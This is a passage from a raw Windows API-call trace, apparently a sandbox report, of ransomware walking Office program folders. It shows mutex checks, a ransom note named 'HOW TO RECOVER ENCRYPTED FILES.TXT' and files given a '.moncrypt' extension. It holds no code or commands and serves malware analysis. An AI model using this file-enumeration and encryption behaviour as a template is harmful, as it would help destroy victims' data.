lpLocalFileTime=0x18ea84) returned 1 [0047.486] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.486] GlobalLock (hMem=0x440004) returned 0x552180 [0047.486] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.486] GlobalUnlock (hMem=0x440004) returned 0 [0047.486] GlobalLock (hMem=0x440004) returned 0x552180 [0047.486] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.486] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.487] GlobalUnlock (hMem=0x440004) returned 0 [0047.487] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.487] GlobalUnlock (hMem=0x44000c) returned 0 [0047.487] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.487] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d953e60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3d953e60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d953e60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0047.487] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.487] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.487] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.487] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.487] GlobalUnlock (hMem=0x44000c) returned 0 [0047.487] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.487] GlobalLock (hMem=0x440004) returned 0x554190 [0047.487] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.487] GlobalUnlock (hMem=0x44000c) returned 0 [0047.487] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.487] GlobalUnlock (hMem=0x440004) returned 0 [0047.487] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.487] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF.moncrypt", cAlternateFileName="OFFICE~1.MON")) returned 1 [0047.487] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.487] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.487] GlobalLock (hMem=0x440004) returned 0x552180 [0047.487] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.487] GlobalUnlock (hMem=0x440004) returned 0 [0047.487] GlobalLock (hMem=0x440004) returned 0x552180 [0047.487] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.487] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.487] GlobalUnlock (hMem=0x440004) returned 0 [0047.487] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.487] GlobalUnlock (hMem=0x44000c) returned 0 [0047.487] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.488] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF.moncrypt", cAlternateFileName="OFFICE~1.MON")) returned 0 [0047.488] GetLastError () returned 0x12 [0047.488] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.488] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0047.488] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.488] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.488] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.488] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.488] GlobalUnlock (hMem=0x44000c) returned 0 [0047.488] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.488] GlobalLock (hMem=0x440004) returned 0x553188 [0047.488] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.488] GlobalUnlock (hMem=0x44000c) returned 0 [0047.488] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.488] GlobalUnlock (hMem=0x440004) returned 0 [0047.488] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.488] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0047.488] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.488] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.497] GlobalLock (hMem=0x440004) returned 0x551178 [0047.497] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.497] GlobalUnlock (hMem=0x440004) returned 0 [0047.497] GlobalLock (hMem=0x440004) returned 0x551178 [0047.497] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.497] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.497] GlobalUnlock (hMem=0x440004) returned 0 [0047.497] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.497] GlobalUnlock (hMem=0x44000c) returned 0 [0047.497] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.497] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0047.497] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.497] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.497] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.497] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.497] GlobalUnlock (hMem=0x44000c) returned 0 [0047.497] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.497] GlobalLock (hMem=0x440004) returned 0x553188 [0047.497] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.497] GlobalUnlock (hMem=0x44000c) returned 0 [0047.497] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.497] GlobalUnlock (hMem=0x440004) returned 0 [0047.498] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.498] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0047.498] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.498] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.498] GlobalLock (hMem=0x440004) returned 0x551178 [0047.498] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.498] GlobalUnlock (hMem=0x440004) returned 0 [0047.498] GlobalLock (hMem=0x440004) returned 0x551178 [0047.498] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.498] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.498] GlobalUnlock (hMem=0x440004) returned 0 [0047.498] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.498] GlobalUnlock (hMem=0x44000c) returned 0 [0047.498] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.498] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0047.498] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.498] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.498] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.498] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.498] GlobalUnlock (hMem=0x44000c) returned 0 [0047.498] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.498] GlobalLock (hMem=0x440004) returned 0x553188 [0047.498] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.498] GlobalUnlock (hMem=0x44000c) returned 0 [0047.498] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.498] GlobalUnlock (hMem=0x440004) returned 0 [0047.498] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.498] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0047.498] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.499] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.499] GlobalLock (hMem=0x440004) returned 0x551178 [0047.499] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.499] GlobalUnlock (hMem=0x440004) returned 0 [0047.499] GlobalLock (hMem=0x440004) returned 0x551178 [0047.499] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.499] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.499] GlobalUnlock (hMem=0x440004) returned 0 [0047.499] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.499] GlobalUnlock (hMem=0x44000c) returned 0 [0047.499] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.499] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0047.499] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.499] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.499] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.499] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.499] GlobalUnlock (hMem=0x44000c) returned 0 [0047.499] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.499] GlobalLock (hMem=0x440004) returned 0x553188 [0047.499] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.499] GlobalUnlock (hMem=0x44000c) returned 0 [0047.499] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.499] GlobalUnlock (hMem=0x440004) returned 0 [0047.499] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.499] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0047.499] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.499] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.499] GlobalLock (hMem=0x440004) returned 0x551178 [0047.499] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.499] GlobalUnlock (hMem=0x440004) returned 0 [0047.500] GlobalLock (hMem=0x440004) returned 0x551178 [0047.500] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.500] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.500] GlobalUnlock (hMem=0x440004) returned 0 [0047.500] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.500] GlobalUnlock (hMem=0x44000c) returned 0 [0047.500] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.500] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0047.500] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.500] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.500] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.500] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.500] GlobalUnlock (hMem=0x44000c) returned 0 [0047.500] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.500] GlobalLock (hMem=0x440004) returned 0x553188 [0047.500] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.500] GlobalUnlock (hMem=0x44000c) returned 0 [0047.500] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.500] GlobalUnlock (hMem=0x440004) returned 0 [0047.500] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.500] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0047.500] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.500] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.500] GlobalLock (hMem=0x440004) returned 0x551178 [0047.500] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.500] GlobalUnlock (hMem=0x440004) returned 0 [0047.500] GlobalLock (hMem=0x440004) returned 0x551178 [0047.500] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.500] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.500] GlobalUnlock (hMem=0x440004) returned 0 [0047.501] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.501] GlobalUnlock (hMem=0x44000c) returned 0 [0047.501] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.501] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0047.501] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.501] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.501] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.501] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.501] GlobalUnlock (hMem=0x44000c) returned 0 [0047.501] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.501] GlobalLock (hMem=0x440004) returned 0x553188 [0047.501] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.501] GlobalUnlock (hMem=0x44000c) returned 0 [0047.501] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.501] GlobalUnlock (hMem=0x440004) returned 0 [0047.501] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.501] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0047.501] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.501] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.501] GlobalLock (hMem=0x440004) returned 0x551178 [0047.501] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.501] GlobalUnlock (hMem=0x440004) returned 0 [0047.501] GlobalLock (hMem=0x440004) returned 0x551178 [0047.501] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.501] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.501] GlobalUnlock (hMem=0x440004) returned 0 [0047.501] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.502] GlobalUnlock (hMem=0x44000c) returned 0 [0047.502] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.502] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0047.502] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.502] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.502] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.502] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.502] GlobalUnlock (hMem=0x44000c) returned 0 [0047.502] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.502] GlobalLock (hMem=0x440004) returned 0x553188 [0047.502] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.502] GlobalUnlock (hMem=0x44000c) returned 0 [0047.502] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.502] GlobalUnlock (hMem=0x440004) returned 0 [0047.502] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.502] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0047.502] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.502] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.502] GlobalLock (hMem=0x440004) returned 0x551178 [0047.502] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.502] GlobalUnlock (hMem=0x440004) returned 0 [0047.502] GlobalLock (hMem=0x440004) returned 0x551178 [0047.502] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.502] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.502] GlobalUnlock (hMem=0x440004) returned 0 [0047.502] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.502] GlobalUnlock (hMem=0x44000c) returned 0 [0047.502] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.502] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0047.503] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.503] FileTimeToDosDateTime (in: 